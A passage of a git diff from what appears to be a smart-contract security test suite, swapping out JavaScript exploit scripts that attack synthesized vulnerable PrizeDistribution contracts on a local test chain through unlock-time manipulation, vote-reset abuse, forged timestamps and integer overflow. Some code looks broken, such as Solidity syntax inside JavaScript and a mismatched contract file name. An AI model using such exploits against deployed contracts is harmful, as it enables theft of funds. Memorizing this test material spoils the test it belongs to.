${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 4: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let attackerAccount = envInfo.accounts[1]; // Use an attacker's account + + console.log("Attempting to manipulate unlock time..."); + + // Calculate how many times we need to call the function to bring the unlock time to the present or past + let initialUnlockTime = await contractInstance.methods.unlockTime().call(); + let currentTime = Math.floor(Date.now() / 1000); + let timeDifference = initialUnlockTime - currentTime; // Time in seconds + + // We need enough calls to reduce the unlock time significantly + let numberOfCallsNeeded = Math.ceil(timeDifference / (address(this).balance / 1000)); + + console.log(`Initial unlock time: ${initialUnlockTime}, Current time: ${currentTime}`); + console.log(`Time difference: ${timeDifference} seconds, Number of calls needed: ${numberOfCallsNeeded}`); + + // Perform the required number of calls + for (let i = 0; i < numberOfCallsNeeded; i++) { + await contractInstance.methods.adjustUnlockTimeBasedOnBalance().send({ + from: attackerAccount, + gas: 300000 + }); + await sleep(200); + } + + console.log("Unlock time manipulation attempt complete."); + + // Verify the new unlock time + let newUnlockTime = await contractInstance.methods.unlockTime().call(); + console.log(`New unlock time: ${newUnlockTime}`); + + if (newUnlockTime <= currentTime) { + console.log("Unlock time successfully manipulated to the current time or earlier."); + return true; // Exploit successful + } else { + console.error("Failed to manipulate unlock time sufficiently."); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } - + + + + + + + + diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-13.js b/CI/exploits/synthesized/PrizeDistributionExploit-13.js index 6ebc8420..6dbec4e8 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-13.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-13.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-13.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,81 +34,49 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting cumulative timing manipulation..."); - - // Step 1: Incrementally extend the lock time with minimal amounts to avoid significant extensions - for (let i = 0; i < 10; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 2: Send a significant amount just below the threshold, multiple times - for (let i = 0; i < 5; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Sending just below the threshold to avoid bonus period - gas: 300000 - }); - - console.log(`Significant increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 3: Send a large amount to extend the lock time significantly and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 3, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 4: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let attackerAccount = envInfo.accounts[1]; // Use an attacker's account + + console.log("Attempting to exploit faulty vote resetting..."); + + // Initially vote to increase the prize + await contractInstance.methods.voteToIncreasePrize().send({ + from: attackerAccount, + gas: 300000 + }); + await sleep(200); + + // Supposed reset of votes by the organizer, but it is flawed + await contractInstance.methods.resetVotes().send({ + from: envInfo.accounts[0], // Organizer's account + gas: 300000 + }); + await sleep(200); + + // Try voting again after the supposed reset + await contractInstance.methods.voteToIncreasePrize().send({ + from: attackerAccount, + gas: 300000 + }); + await sleep(200); + + // Verify the new prize amount + let newPrizeAmount = await contractInstance.methods.prizeAmount().call(); + console.log(`New prize amount after repeated votes: ${newPrizeAmount}`); + + if (newPrizeAmount > web3.utils.toWei('1.2', 'ether')) { + console.log("Successfully exploited the faulty resetVotes function to increase the prize."); + return true; // Exploit successful + } else { + console.error("Failed to exploit the faulty resetVotes function."); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } @@ -117,6 +84,14 @@ async function exploit(web3, envInfo, contractAddress) { + + + + + + + + /** * Executes the exploit and checks its result * @@ -131,8 +106,8 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); + // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-14.js b/CI/exploits/synthesized/PrizeDistributionExploit-14.js index 19cc0c36..8383e846 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-14.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-14.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-14.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,71 +34,51 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting rapid alternation manipulation..."); - - // Step 1: Rapidly alternate between just below and just above the bonus threshold - for (let i = 0; i < 5; i++) { - // Send just below the threshold - let extendTx1 = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Just below the threshold - gas: 300000 - }); - console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx1.status}`); - await sleep(200); // Short delay between calls - - // Send just above the threshold to trigger a minimal bonus period - let extendTx2 = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD + 1, // Just above the threshold - gas: 300000 - }); - console.log(`Just above threshold extension ${i+1} sent, tx status: ${extendTx2.status}`); - await sleep(200); // Short delay between calls - } - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 2: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let beneficiaryAccount = envInfo.accounts[1]; // Use beneficiary's account for the exploit + + console.log("Attempting to exploit the user-provided timestamp vulnerability..."); + + // Manipulate the timestamp by providing a future date + let futureTimestamp = Math.floor(Date.now() / 1000) + 2 * 86400; // Two days in the future + + // Record a future action + await contractInstance.methods.recordAction(futureTimestamp).send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(200); + + // Try to claim the prize using the future timestamp + let claimTx = await contractInstance.methods.claimPrize(futureTimestamp).send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(200); + + if (claimTx.status) { + console.log("Prize successfully claimed using manipulated future timestamp!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize, exploit did not work as expected."); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } - + + + + + + + + @@ -119,8 +98,8 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); + // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-15.js b/CI/exploits/synthesized/PrizeDistributionExploit-15.js index 1fac528e..77bcf2f2 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-15.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-15.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-15.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,84 +34,58 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting strategic mix manipulation..."); - - // Step 1: Incrementally extend the lock time with minimal amounts to avoid significant extensions - for (let i = 0; i < 10; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 2: Send a series of just below threshold amounts - for (let i = 0; i < 5; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Sending just below the threshold to avoid bonus period - gas: 300000 - }); - - console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 3: Send a large amount to extend the lock time significantly and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 5, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 4: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let attackerAccount = envInfo.accounts[1]; // An account other than the organizer/beneficiary + + console.log("Starting the process to exploit unlock time reduction..."); + + // Calculate the amount to send to exceed the balance threshold and decrease unlock time + let currentBalance = web3.utils.fromWei(await web3.eth.getBalance(contractAddress), 'ether'); + let excessAmount = web3.utils.toWei((parseFloat(currentBalance) > 100 ? "0" : (100 - parseFloat(currentBalance) + 1).toString()), 'ether'); + + // Fetch the current nonce for the attacker account + let currentNonce = await web3.eth.getTransactionCount(attackerAccount, 'latest'); + + // Add funds to trigger the unlock time decrease + let addFundsTx = await contractInstance.methods.addFundsAndExtendLock(excessAmount).send({ + from: attackerAccount, + value: excessAmount, + gas: 300000, + nonce: currentNonce // Use the fetched nonce + }); + await sleep(200); + + console.log(`Funds added, transaction status: ${addFundsTx.status}`); + + // Check new unlock time + let newUnlockTime = await contractInstance.methods.unlockTime().call(); + let currentTime = Math.floor(Date.now() / 1000); + console.log(`New unlock time: ${newUnlockTime}, Current time: ${currentTime}`); + + if (newUnlockTime <= currentTime) { + console.log("Unlock time successfully manipulated to current or past time."); + return true; // Exploit successful + } else { + console.error("Failed to manipulate unlock time effectively."); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } - + + + + + + + + + @@ -132,8 +105,8 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); + // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-16.js b/CI/exploits/synthesized/PrizeDistributionExploit-16.js index 256565be..49f83bcb 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-16.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-16.js @@ -11,16 +11,15 @@ const { const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-16.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,93 +34,40 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting sequential confusion manipulation..."); - - // Step 1: Incrementally extend the lock time with minimal amounts to avoid significant extensions - for (let i = 0; i < 8; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 2: Send a sequence of just below threshold amounts - for (let i = 0; i < 4; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Sending just below the threshold to avoid bonus period - gas: 300000 - }); - - console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 3: Send a few minimal amounts again to create confusion - for (let i = 0; i < 3; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Additional minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 4: Send a large amount to extend the lock time significantly and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 4, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 5: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; // Assuming this account is the organizer's + + console.log("Attempting to cause an integer overflow to manipulate unlock time..."); + + // Send an amount that is likely to cause the unlock time calculation to overflow + let largeAmountToSend = web3.utils.toWei('115792089237316195423570985008687907853269984665640564039457', 'ether'); + + await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: largeAmountToSend, + gas: 300000 + }); + await sleep(200); + + // Check the updated unlock time to see if it has overflowed and wrapped around + let newUnlockTime = await contractInstance.methods.unlockTime().call(); + let currentTime = Math.floor(Date.now() / 1000); + + console.log(`Updated unlock time after sending large amount: ${new Date(newUnlockTime * 1000).toString()}, Current time: ${new Date(currentTime * 1000).toString()}`); + + if (newUnlockTime < currentTime) { + console.log("Integer overflow exploited successfully: Unlock time has been reduced to a past timestamp."); + return true; // Exploit successful + } else { + console.error("Failed to cause integer overflow; unlock time not reduced as expected."); + return false; // Exploit failed + } + } catch ( error) { + console.error("An error occurred during the exploit attempt:", error); + return false; + } } @@ -129,6 +75,14 @@ async function exploit(web3, envInfo, contractAddress) { + + + + + + + + /** * Executes the exploit and checks its result * @@ -143,7 +97,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-17.js b/CI/exploits/synthesized/PrizeDistributionExploit-17.js index 67958fe1..902e6cd9 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-17.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-17.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-18.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,105 +34,55 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting confusion and delay manipulation..."); - - // Step 1: Send minimal amounts to incrementally extend the lock time - for (let i = 0; i < 7; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 2: Send amounts just below the threshold to create larger extensions without triggering bonuses - for (let i = 0; i < 3; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Just below the threshold - gas: 300000 - }); - - console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 3: Send alternating minimal and just-above-threshold amounts to create confusion - for (let i = 0; i < 3; i++) { - let minimalTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); - await sleep(200); // Short delay between calls - - let thresholdTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD + 1, // Just above the threshold - gas: 300000 - }); - - console.log(`Threshold extension ${i+1} sent, tx status: ${thresholdTx.status}`); - await sleep(300); // Short delay between calls - } - - // Step 4: Send a significant amount to further extend the lock time and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 4, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); - await sleep(500); - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 5: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; // Assuming this account is the organizer's + + console.log("Attempting to exploit unlock time reduction..."); + + // Fetch the current nonce for the organizer account + const nonce = await web3.eth.getTransactionCount(organizerAccount, 'latest'); + + // Determine the exact amount to send to maximize the unlock time reduction + let amountToSend = web3.utils.toWei('0.11', 'ether'); // Calculated based on contract's flawed logic + + // Call extendLockTime with the calculated bad value + let tx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: amountToSend, + gas: 300000, + nonce: nonce // Explicitly set the nonce + }); + await sleep(200); + + console.log(`Transaction status: ${tx.status}`); + + // Check the updated unlock time + let newUnlockTime = await contractInstance.methods.unlockTime().call(); + console.log(`New unlock time: ${new Date(newUnlockTime * 1000).toString()}`); + + if (tx.status) { + console.log("Unlock time reduction exploited successfully."); + return true; // Exploit successful + } else { + console.error("Failed to exploit the unlock time reduction."); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } - + + + + + + + + @@ -153,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-18.js b/CI/exploits/synthesized/PrizeDistributionExploit-18.js index 54c229be..f808d8e6 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-18.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-18.js @@ -11,16 +11,15 @@ const { const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-18.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,105 +34,42 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting strategic timing manipulation..."); - - // Step 1: Incrementally extend the lock time with minimal amounts - for (let i = 0; i < 5; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 2: Send amounts just below the threshold to create larger extensions without triggering bonuses - for (let i = 0; i < 3; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Just below the threshold - gas: 300000 - }); - - console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 3: Send alternating minimal and just-above-threshold amounts - for (let i = 0; i < 3; i++) { - let minimalTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, // Sending the minimal amount (1 wei) - gas: 300000 - }); - - console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); - await sleep(200); // Short delay between calls - - let thresholdTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD + 1, // Just above the threshold - gas: 300000 - }); - - console.log(`Threshold extension ${i+1} sent, tx status: ${thresholdTx.status}`); - await sleep(300); // Short delay between calls - } - - // Step 4: Send a significant amount to further extend the lock time and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 5, 